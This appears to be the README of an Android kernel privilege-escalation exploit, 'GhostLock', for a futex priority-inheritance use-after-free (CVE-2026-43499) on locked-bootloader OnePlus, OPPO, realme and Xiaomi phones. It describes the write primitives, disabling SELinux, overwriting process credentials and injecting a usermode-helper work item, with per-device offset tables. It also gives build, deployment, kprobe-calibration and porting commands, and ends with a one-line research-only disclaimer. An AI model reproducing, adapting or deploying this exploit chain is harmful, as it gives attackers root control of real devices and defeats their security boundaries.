适用于 4.19.152-perf+ Android 内核的 GhostLock (CVE-2026-43499) 适配器
针对锁定 Bootloader 的一加/OPPO/realme 设备的内核漏洞利用程序。无需解锁 Bootloader 或修改启动镜像,即可获取 root 权限并安装 KernelSU。通过多设备偏移表在运行时自动检测内核版本。
CVE-2026-43499 — Futex PI(优先级继承)释放后使用(Use-After-Free)
影响 Linux 内核 2.6.39 ~ 7.1。已在主线 7.1 中修复(提交 3bfdc63936dd)。Android GKI 6.12.x 仍存在漏洞。
pselect6 系统调用会将 fd_set 数据复制到内核栈上。与 futex PI 等待者机制结合使用时,已释放的栈帧可被重新利用为 rt_mutex_waiter 结构。随后,在 PI 链遍历期间执行的红黑树重平衡会将受控值写入任意内核地址。
| 设备 | SoC | 内核 | 状态 |
|---|---|---|---|
| 一加 Ace 6T (PLR110) | SM8845 | 6.12.38-...-ab14275539 | 可用 |
| 一加 Ace 6T (PLR110) | SM8845 | 6.12.38-...-ab14552068 | 可用 |
| 一加 15 (CPH2749) | SM8850 | 6.12.23-...-ab14541642 | 可用 |
| 小米 17 (pudding) | SM8850 | 6.12.23-...-abogki463945075 | 可用 |
| 小米 17 (pudding) | SM8850 | 6.12.69-...-abogki514973465 | 可用(2026 年 8 月更新) |
| 一加 13 (IN2060) | SM8750 | 6.6.89-...-abogki446052083 | 可用(PSELECT_SHIFT=-2) |
| OPPO Pad 4 Pro | SM8750 | 6.6.89-...-ab14358676 | 可用(PSELECT_SHIFT=-2) |
| 设备 | SoC | 内核 | 备注 |
|---|---|---|---|
| 一加 15T (PLZ110) | SM8845 | 6.12.38-...-ab14552068 | 与 Ace 6T 内核相同。QEMU 已验证 SP 差值=-64。 |
pselect 栈覆盖仅在已释放的 rt_mutex_waiter 落入 stack_fds 缓冲区中用户可控区域时才有效。等待者的落点由编译器输出(PGO + LTO)决定,与内核版本无关。详见栈布局。
两条获取 root 权限的路径,根据设备能力自动选择:
需要 off_ashmem_misc_fops != 0(C ashmem,BSS 段中的静态 miscdevice)。
PI write (mode=4) → redirect miscdevice fops to fake fops (via W0 pi_tree)
configfs r/w established
→ pipe physrw (1-byte precise kernel r/w)
→ SELinux enforcing = 0 (single byte, no policycap corruption)
→ UMH: inject work_struct into system_unbound_wq
kernel executes /data/local/tmp/a/e --umh as UID 0
→ root script → ksud late-load → KSU installed
与路径 B 相比的优势:
selinux_state.policycap(修复一加 13 上的网络问题)目前适用于:一加 13(内核 6.6,C ashmem)。不适用于 Rust ashmem 设备(6.12 GKI)— miscdevice 在堆上分配,编译时无法预测地址。
当 UMH 偏移量或 C ashmem misc_fops 不可用时使用。
Write 1 (mode=1) → SELinux enforcing = 0
(low byte of kernel ptr = 0x00, 8-byte write)
Write 2 (mode=2) → task->cred = init_cred
(uid=0, all capabilities)
Root shell → ksud late-load (KernelSU LKM)
→ su -c load_policy (fix SELinux policycap)
→ dynamic manager registration
App (seccomp) → Write 1 (no perf needed)
→ mini-adb connect TCP (port from /data/local/tmp/a/adb_port, default 5555)
→ adb shell: full exploit (perf works, no seccomp)
→ root → KSU → network fix
BOOT_COMPLETED → BootCompletedReceiver
├─ su available → skip (soft reboot / already rooted)
└─ no root → GhostlockService → setsid exploit --bootstrap
当 NFDS=320 时,内核的 core_sys_select 会分配一个 256 字节的 stack_fds 缓冲区:
stack_fds: 0 5 10 14 | 15 20 25 29
├─in─┤─out─┤─ex──┤ ├res_in┤res_out┤res_ex┤
◄── USER CONTROLLED ──►│◄── KERNEL ZEROED ──►
漏洞利用程序会将伪造的等待者字段(task、lock)写入 fd_set 输入位图中。要让攻击成立,等待者的 task 和 lock 字段必须落在可控区域内(字 0-14)。
Ace 6T ✅ (waiter at word 2):
░░████████████████░░│░░░░░░░░░░░░░░░░░░
▲waiter t l │
task/lock controllable
RMX5070 ❌ (waiter at word 13):
░░░░░░░░░░░░░████│██████████████░░░░░░
▲ │ t l
waiter task/lock ZEROED
可行性规则:等待者字 + 11(rt_waiter_node 中的 lock 偏移量)必须 ≤ 14。最大可行的等待者字为 3。
等待者的位置由编译器的栈帧布局(PGO + LTO + BOLT 优化配置)决定,不同 SoC 分支各不相同。相同的内核版本在不同 SoC 上可能具有不同的布局。
所有内核写入都通过镜像的线性映射别名进行:
data_addr(x) = PAGE_OFFSET + (kernel_phys_load - PHYS_OFFSET) + (x - KIMAGE_TEXT_BASE)
引导加载程序会选择 kernel_phys_load,因此该值因 SoC 而异,且不在 boot.img 或设备树(DT)中。它是 struct kernel_offsets 中的每设备字段;0 = 使用 target.h 默认值。
| SoC | kernel_phys_load |
|---|---|
| SM8845 (Ace 6T、15T) | 0xa8000000 |
| SM8750 (一加 13、OPPO Pad 4 Pro) | 0xa8000000 |
| SM8850 (一加 15、小米 17) | 0xc7800000 |
错误值会静默失败 — 写入仍会落在已映射的 RAM 中,因此不会崩溃,也不会有任何效果。不要将其误认为是 PSELECT_SHIFT 问题。请在已 root 的同型号设备上读取该值(Kernel code 起始于 _stext;_text 低 0x10000):
su -c 'grep -i "Kernel code" /proc/iomem' # c7810000-... -> 0xc7800000
不同内核会将等待者放置在可控区域内的不同位置。可使用 PSELECT_SHIFT 进行调整:
# Default (Ace 6T + OnePlus 15, 6.12): shift=0
/data/local/tmp/a/e
# OnePlus 13 (6.6): shift=-2
PSELECT_SHIFT=-2 /data/local/tmp/a/e
# Override kernel_phys_load for new SoCs (when /proc/iomem is not accessible):
KPHYS=0xc7800000 /data/local/tmp/a/e
check_feasibility.py 得出的等待者字并不可靠:其帧运算是正确的,但它从零值存储中推断出的结构体偏移却不正确(在一加 15 上它给出字 3,实测为字 2)。每次猜测错误的移位都会导致一次内核崩溃,因此请在已 root 的设备上实测:
echo 'p:ds do_select fdsin=+0(%x1)' >> /sys/kernel/tracing/kprobe_events
echo 'p:rw rt_mutex_wait_proxy_lock waiter=%x2' >> /sys/kernel/tracing/kprobe_events
# trigger FUTEX_CMP_REQUEUE_PI, then:
# PSELECT_SHIFT = ((waiter & 0x3fff) - (fdsin & 0x3fff)) / 8 - 2
NDK=/path/to/android-ndk
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
-O2 -Wall -Isrc/core -Isrc/devices -DTARGET_CONFIG_H="target.h" \
src/core/main.c src/core/util.c src/core/slide.c \
src/core/fops.c src/core/pipe_physrw.c src/core/root.c \
src/core/miniadb.c src/core/umh_root.c \
-o ghostlock -fPIE -pie -pthread
GhostLock 仅提供 root 权限。KernelSU 的安装依赖于 ksud — 一个内嵌了各 KMI 版本 kernelsu.ko 模块的二进制文件。root 脚本会在设备上查找 ksud 并调用 ksud late-load --kmi android16-6.12。
| 方法 | 步骤 |
|---|
如果没有 ksud,漏洞利用程序虽可获得 root 权限(uid=0),但不会安装 KSU,
su也不会持久生效。
# Enable ADB TCP (use any port)
adb tcpip 5555
# Push exploit binary and ADB key
adb push ghostlock /data/local/tmp/a/e && adb shell chmod 755 /data/local/tmp/a/e
adb push ~/.android/adbkey /data/local/tmp/a/adbkey
# If using a non-default ADB port (e.g. 23946):
adb shell "echo 23946 > /data/local/tmp/a/adb_port"
首次成功越狱后,将经由 resetprop 设置 persist.adb.tcp.port — 后续启动将完全自动化。
/data/local/tmp/a/e # Full exploit (adb shell)
/data/local/tmp/a/e --bootstrap # Phone standalone (app context)
/data/local/tmp/a/e --write1 # SELinux disable only
PSELECT_SHIFT=-2 /data/local/tmp/a/e # Override stack layout shift
重要提示:请在开机后 30 秒内运行,以获得最佳的 KernelSnitch 时序可靠性。
仅需 boot.img — 无需 root,也无需访问设备。
# 1. Extract kernel
python -c "import struct; d=open('boot.img','rb').read(); open('kernel','wb').write(d[4096:4096+struct.unpack_from('<I',d,8)[0]])"
# 2. Global symbols (kallsyms)
python tools/extract_target.py # 28 offsets, auto-validated
# 3. Struct fields (BTF)
python tools/extract_btf.py kernel # 57 offsets, auto-validated
# 4. Add to offsets.h, rebuild
核心漏洞利用程序与设备无关。适配可能需要:
VA_BITS(48 vs 39)→ 更新 target.h 内存布局kernel_phys_load → 从 /proc/iomem 读取或使用 KPHYS= 环境变量common.hPSELECT_SHIFT → 通过 QEMU kprobe 测试确定STRUCT_OFFSETS_6_6 或 STRUCT_OFFSETS_6_12UMH(call_usermodehelper)root 路径需要:
off_system_unbound_wq 和 off_call_usermodehelper_exec_workoff_ashmem_misc_fops = ashmem_misc + 0x10(仅限 C ashmem,miscdevice.fops 位于 BSS)仅供授权的安全研究和教育目的使用。
| 设备 | SoC | 内核 | 原因 |
|---|
| OPPO Find X9 Ultra | SM8750 | 6.12.58-android16-6 | PGO 消除了 do_futex 帧 → SP 差值=+32,等待者字=14。不存在安全的移位。 |
| OPPO Find X7 | — | 6.1.157 | 6.1 GKI:等待者位于字 13(所有 6.1 OPLUS/GKI 设备) |
| realme RMX5070 | SM6650 | 6.1.141 | 6.1 GKI:等待者位于字 13 |
| realme RMX3852 | SM8635 | 6.1.141 | 与 RMX5070 相同的 6.1 分支 |
| 一加 13R / Ace 5 | SM8650 | 6.1.x | 同属 6.1 分支 |
| 一加 12 | SM8650 | 6.1.141 | 6.1 GKI:do_futex 被 PGO 内联,等待者字=13/19 |
| OPPO Pad 5 (OPD2502) | MT6878 | 6.1.134 | 同属 6.1 分支 |
| OPPO PKW110 | — | 5.15.180 | do_futex 帧为 0x140(正常值的 4.5 倍)→ 等待者字=-29,不可达 |
| 摩托罗拉 Edge 60 Fusion | MT6878 | 6.1.145 | 6.1 GKI:等待者位于字 13(非 OPLUS,结果相同) |
| iQOO Z9 5G | — | 5.15.178 | do_futex 帧过大,等待者不可达。非 OPLUS 设备(vivo)。 |
| ReSukiSU APK(推荐) | 安装 ReSukiSU 或此分支。官方发布版捆绑了 libksud.so。 |
| CI 版本 | 从 ReSukiSU CI 下载 ksud-aarch64-linux-android.zip |
| 来源 | 数量 | 方法 |
|---|
| kallsyms(全局符号) | 28 | extract_target.py |
| BTF(结构体字段) | 57 | extract_btf.py |
| 派生(同一结构体,不同用法) | 9 | 自动 |
| 常量(固定值) | 12 | 无需提取 |
| 文件 | 说明 |
|---|
src/core/main.c | 漏洞利用入口,Write 1/2,UMH 路径,引导模式,root 脚本 |
src/core/fops.c | pselect 路径,PI 写入机制,CFI 阶段 |
src/core/util.c | 堆喷射,KernelSnitch,slab 排空,payload 设置 |
src/core/pipe_physrw.c | 基于管道缓冲区的物理内存读写(在 configfs 读写基础上升级) |
src/core/umh_root.c | 通过工作队列注入实现 UMH root + --umh 处理器 |
src/core/miniadb.c | 迷你 ADB 客户端(TCP + RSA 认证) |
src/core/common.h | 时序参数、宏 |
src/core/target.h | 内存布局、结构体字段默认值(6.12) |
src/core/runtime_struct_offsets.h | 每设备结构体字段覆盖(6.6 vs 6.12) |
src/devices/offsets.h | 汇总所有设备偏移表 + STRUCT_OFFSETS_* 宏 |
src/devices/<device>/offsets.h | 每设备内核偏移条目 |
src/core/slide.c | SLIDE 内核地址泄漏 |
src/core/root.c | Root shell 设置(通过 pipe physrw 直接修补 cred) |
tools/extract_target.py | 从 kallsyms 提取偏移量 |
tools/extract_btf.py | 从 BTF 提取结构体偏移量 |
tools/check_feasibility.py | 栈布局可行性检查器 |